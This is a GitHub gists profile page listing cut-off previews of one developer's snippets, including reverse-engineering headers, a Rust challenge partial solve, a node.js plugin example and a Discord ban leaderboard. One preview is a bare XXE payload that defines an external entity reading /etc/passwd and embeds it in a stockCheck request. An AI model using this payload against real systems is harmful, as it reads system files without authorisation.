Skip to content

Instantly share code, notes, and snippets.

View molenzwiebel's full-sized avatar
😎
Hackerman

Thijs Molendijk molenzwiebel

😎
Hackerman
View GitHub Profile
@molenzwiebel
molenzwiebel / jni.h
Created July 7, 2025 22:43
jni headers for IDA/Binja
#define va_list char *
#define int64_t long long
typedef long jint;
typedef int64_t jlong;
typedef signed char jbyte;
/*
* JNI Types
*/
@molenzwiebel
molenzwiebel / main.rs
Created August 25, 2024 16:19
pattern match partial solve for secure computing
use std::collections::{HashMap, HashSet};
use iced_x86::{Decoder, Encoder, Instruction, Mnemonic, OpKind, Register};
#[derive(Debug, Clone, Copy)]
enum RegValValue {
Immediate(u64),
Register(Register),
}
/// Character substitutions for obfuscation purposes.
const SUBST_TABLE: &[(char, [&'static str; 4])] = &[
('Q', ["QP", "QD", "QW", "Q4"]),
('-', ["QL", "QB", "QO", "Q5"]),
('_', ["QC", "QN", "QT", "Q9"]),
('X', ["XU", "XN", "XH", "X3"]),
('!', ["XW", "XS", "XZ", "X0"]),
];
/// Character substitutions for deobfuscation purposes.
#include <stdio.h>
#include <inttypes.h>
#include <string.h>
void hexdump(void *ptr, int buflen) {
unsigned char *buf = (unsigned char*)ptr;
int i, j;
for (i=0; i<buflen; i+=16) {
printf("%06x: ", i);
use std::{
cell::RefCell,
collections::HashMap,
ops::{
AddAssign, Deref, DivAssign, Index, IndexMut, MulAssign, ShlAssign, ShrAssign, SubAssign,
},
rc::Rc,
};
use crate::op::{Insn, Opcode, PartialInsn, U16OrLabel};
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
@molenzwiebel
molenzwiebel / index.js
Created June 7, 2020 10:46
Example Hyperion pipeline plugin in node.js
const zmq = require("zeromq");
// Connect to the plugin manager located at `managerHost`, identify
// ourselves as `id` and request connection information. Returns an
// object of { pull: <sub info>, push: <pub info> }.
async function retrieveConnectionDetails(id, managerHost) {
const sock = new zmq.Request();
await sock.connect(managerHost); // connect to plugin manager
// Request pull info.
@molenzwiebel
molenzwiebel / infinity-war-leaderboard.md
Created July 27, 2018 17:50
Results of the CM Infinity War ban sprees.
Rank Username Banned At
1 topcyder#0001 Winner!
2 moonguardianjaim#6033 7/27/2018, 5:29:28 PM
3 TicTacTomato#3997 7/27/2018, 5:29:27 PM
4 Hëlix#8005 7/26/2018, 7:19:54 PM
5 martinchoto#8872 7/26/2018, 7:19:52 PM
6 Kryzik#7643 7/26/2018, 7:19:51 PM
7 WolfHunter17#4342 7/26/2018, 7:19:50 PM
8 porcho20#0118 7/25/2018, 7:00:31 PM
const ABBREVIATIONS = {
"mumu": "Amumu",
"ali": "Alistar",
"sol": "AurelionSol",
"aurelion": "AurelionSol",
"asol": "AurelionSol",
"blitz": "Blitzcrank",
"cait": "Caitlyn",
"cass": "Cassiopeia",
"cho": "ChoGath",
# ====================================================================================================
# ====================================================================================================
# ====================================================================================================
# ====================================================================================================
# ====================================================================================================
# ===================================== README README README README ==================================
# ====================================================================================================
# == IT IS HIGHLY RECOMMENDED THAT YOU READ THIS CODE WHILE READING THE ACCOMPANYING README FILE AT ==
# == THE SAME TIME. IT WILL EXPLAIN SOME CONCEPTS USED IN THIS CODE, AND WHILE THE COMMENTS ABOVE ==
# == FUNCTIONS CONTAIN A LOT OF CONTEXT, THEY WILL NOT EXPLAIN EVERYTHING. ALSO: I SPENT A LOT OF